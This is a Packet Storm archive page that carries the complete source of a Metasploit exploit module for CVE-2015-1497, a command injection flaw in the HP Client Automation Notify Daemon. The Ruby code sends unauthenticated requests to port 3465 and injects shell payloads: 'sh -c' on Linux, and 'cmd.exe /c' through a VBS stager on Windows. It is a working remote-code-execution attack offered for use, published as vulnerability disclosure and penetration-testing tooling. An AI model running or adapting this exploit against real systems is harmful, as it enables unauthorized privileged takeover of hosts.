exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HP Client Automation Command Injection

HP Client Automation Command Injection
Posted Feb 24, 2015
Authored by juan vazquez, Ben Turner | Site metasploit.com

This Metasploit module exploits a command injection vulnerability on HP Client Automation, distributed actually as Persistent Systems Client Automation. The vulnerability exists in the Notify Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither. This Metasploit module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2 and CentOS 5.

tags | exploit
systems | linux, windows, centos
advisories | CVE-2015-1497
SHA-256 | d843ef58af2b82e590925f0a42de6759952ad10722aca5dd7bb3fdf81fef83ab

HP Client Automation Command Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Client Automation Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on HP Client Automation, distributed
actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither.
This module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2
and CentOS 5.
},
'Author' =>
[
'Ben Turner', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2015-1497'],
['ZDI', '15-038'],
['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
],
'Privileged' => true,
'Platform' => %w{ unix win },
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Payload' => {'DisableNops' => true},
'Targets' =>
[
[ 'HP Client Automation 9.0.0 / Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 466,
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'openssl telnet generic gawk'
},
'BadChars' => "\x27"
}
}
],
[ 'HP Client Automation 9.0.0 / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 02 2014'))

register_options(
[
Opt::RPORT(3465)
], self.class)

deregister_options('CMDSTAGER::FLAVOR')
deregister_options('CMDSTAGER::DECODER')
end

def check
connect
sock.put("\x00") # port
sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide\x00") # command
res = sock.get_once
disconnect

if res && res.unpack('C')[0] == 0
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def exploit
case target['Platform']
when 'win'
print_status('Exploiting Windows target...')
execute_cmdstager({:flavor => :vbs, :linemax => 290})
when 'unix'
print_status('Exploiting Linux target...')
exploit_unix
else
fail_with(Failure::NoTarget, 'Invalid target')
end
end

def exploit_unix
connect
sock.put("\x00") # port
sock.put("0\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
disconnect
end

def execute_command(cmd, opts = {})
connect
sock.put("\x00") # port
sock.put("S-1-5-18\x00") # user ID
sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
res = sock.get_once
disconnect
unless res && res.unpack('C')[0] == 0
fail_with(Failure::Unknown, "Something failed executing the stager...")
end
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close